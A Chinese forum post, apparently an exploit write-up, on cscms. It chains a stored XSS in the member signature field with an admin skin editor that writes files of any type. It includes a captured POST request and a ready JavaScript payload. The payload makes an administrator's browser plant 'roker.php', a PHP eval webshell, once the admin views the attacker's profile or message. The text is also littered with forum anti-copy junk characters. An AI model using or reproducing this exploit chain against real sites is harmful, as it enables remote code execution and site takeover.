|
|
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题. h3 k2 Z: O2 C# l) S
官网已经修补了,所以重新下了源码8 L/ b; c( g8 D' L" v, s
因为 后台登入 还需要认证码 所以 注入就没看了。
0 W+ C' g1 |0 F8 D# W3 f存在 xss
: G! M5 v" s6 n& W漏洞文件 user/member/skin_edit.php
5 k& r) J( q" I! u, |* z" ~6 C本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:- E! m, j+ q, n! o% M. y8 Y
' R3 E0 t& C% n( n% l& P" J2 p4 Y1 H
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
0 m& _1 h5 Q& S 4 W5 x; p; Q l! _1 f# z' {
</textarea></td></tr>
+ w; o; ~; F: T( s; c , j( p: H/ V( G) A2 J
user/do.php
2 C( |4 ~8 ^8 N& a
$ }, d0 H& s |3 D) @! l' s, C s U" d
if($op=='zl'){ //资料
9 Y, I d. s [' f ~ / Q$ w6 Z ~ O- M q
if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) 1 Z; K1 O0 @% z7 n) s
exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));* `/ x- z _) E. C/ l1 `3 M
- a6 u+ t6 K7 ^8 _ $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',6 J+ `, U+ A8 r4 R/ y; w
( y- L0 R! O4 R; [- U' ~7 K9 R$ O
CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'$ u4 u( o7 C& G, |- }1 C) W& B% D
where CS_Name='".$cscms_name."'";
* M1 E5 I ]4 q) |0 u
1 D0 X0 Q! s, W- n if($db->query($sql)){
H, @: z" M: k* ^& T, O ! C8 [& M: g* c. s4 p( y
exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));2 k/ i0 |' X8 a% d
1 e0 G& M/ O$ A5 l/ ~) J& ? }else{
' [6 _1 U: P/ S* M: P4 o
- L7 B. x$ T3 B6 v2 G: R# B exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));- @- T6 P4 N1 _
% a' ^* W, x4 ^9 o* { }5 N9 r0 G: E4 B
2 k D; b& Q2 U/ g3 d1 b1 ]( L* p8 l! P$ B; E9 P( \7 {
没有 过滤导致xss产生。
- n2 z0 g5 [& P' L后台 看了下 很奇葩的是可以写任意格式文件。。5 U2 N2 n% h* s' }" o
抓包。。) H+ L" e4 R4 x$ I/ O! _
2 u7 [" R/ j5 F6 c5 t' j' ]
7 [4 H( b, ~# S3 Z2 v& b* K: v本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1- A: ?. \. q5 e; l
/ Y5 E o; f& e1 j8 q8 b/ A
Accept: text/html, application/xhtml+xml, */*
7 R, s% i/ j* s: U$ y 1 w. ?& q$ t3 y4 j
Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php: n2 k* a2 f2 Q$ P
8 v# c: K# D( pAccept-Language: zh-CN
% h8 H6 L t, y7 B& \% H" k ; U0 |6 }- d$ b- D% G& Y
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
; ]$ R0 t5 _; T , A% Y! ^! @; [- _1 Z
Content-Type: application/x-www-form-urlencoded4 `( J8 O Z7 K' D" o
. I7 G8 u& @2 e2 m
Accept-Encoding: gzip, deflate
2 \3 Q. @2 P% ~ $ O* N' H& n- E0 t Z# P
Host: 127.0.0.1
4 A% V2 ?- J1 @ * X5 @* K( V. g& F
Content-Length: 38
! N7 m6 n. c" j7 [* x- v ^ 6 `3 X$ ~8 s' }
DNT: 1
7 l; b% H9 {9 ?4 E3 }, n* \9 o2 W / w# {( V. Y6 I, [2 L5 O
Connection: Keep-Alive8 x7 x/ p& [, x5 o$ O3 L
8 G, n% J) t- b1 f
Cache-Control: no-cache5 d0 ?1 \/ U! T7 i p( r6 H
/ O) q) F- c5 T$ _# D* Q% X+ p
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594: w5 l7 C$ x6 B2 |
3 F+ {' e9 r; \0 V- n) r
) ~3 H" r. v, g+ m& A3 ?name=aaa.php&content=%3Cs%3E%3Ca%25%3E
% E3 x6 |( U: d; Z4 ]* V; |8 U9 d& k# `/ y) l! G2 q
$ V+ \+ b3 B* q
3 {9 |( o; h5 l% }* |4 v5 T于是 构造js如下。
4 g* K9 N |8 J+ q: L, i( S
J/ N# l5 B! t4 l6 f本帖隐藏的内容<script> + G$ H, |/ @+ A- H
thisTHost = top.location.hostname;8 }: O1 j, e E9 n& @; a- n
1 }& u* s' p' ]
thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
8 \9 ]. x: Y- w1 w: a
) z( a m* R9 @5 s- v1 pfunction PostSubmit(url, data, msg) {
& h. |+ M( n% L' t# v var postUrl = url;+ j/ \8 |( s: B) G; K; V% `1 H
: K+ w* H! @8 `: C var postData = data; 5 {9 m# [! m, d, [( L# n
var msgData = msg;
1 D" U4 P$ A$ d0 {9 a( [. ` s1 } var ExportForm = document.createElement("FORM"); 8 _# R1 _- V; J% s
document.body.appendChild(ExportForm);
. h8 w- N& ?4 e ExportForm.method = "POST"; . k+ q0 x, T* i$ S9 P f% ^1 _
var newElement = document.createElement("input"); . s7 F& ^; t+ i: g7 C4 _
newElement.setAttribute("name", "name"); . |" X' N. ~) `1 P" o" w
newElement.setAttribute("type", "hidden");
- d7 ]1 L. s6 d; M8 f2 l e s$ m var newElement2 = document.createElement("input"); % r5 `, Q/ Q) k! d
newElement2.setAttribute("name", "content"); ' K, d; Z( _! }( K( \4 ~
newElement2.setAttribute("type", "hidden");
1 l" ]# T4 t1 I) f% [ ExportForm.appendChild(newElement);
- L8 O3 r% F$ B0 O ExportForm.appendChild(newElement2);
% `- x, G( M" O8 Z6 y newElement.value = postData; 9 [- z. l0 Z% M# V
newElement2.value = msgData; 3 J2 k# V4 B5 K9 l5 P, d
ExportForm.action = postUrl; 5 d' Y2 q0 N. O" A; M% n! g
ExportForm.submit();
, u: B) y3 j# T7 z7 ], w7 u1 ^};
( o( y! ~$ X* H3 {) k! r' O3 } + Y4 s3 f+ }6 Y. @
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
* _' ^ K7 C0 b2 X/ X% G: \
3 l e8 t) X. W6 Y) R</script>5 D% \; T+ A; H$ y
\! L: S2 Z A4 \7 J9 G# Q1 H8 r
. N/ i W s1 M8 k
3 X5 Q/ d u: ?6 v' H: b2 Yhttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
) g' y! I+ E, {* F用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改)* p! j3 @6 [& t) P. b3 A
就会 在 skins\index\html\目录下生成 roker.php 一句话。 | % G7 z- S! C' ^- o; G. A2 T& u- }% ~
|
|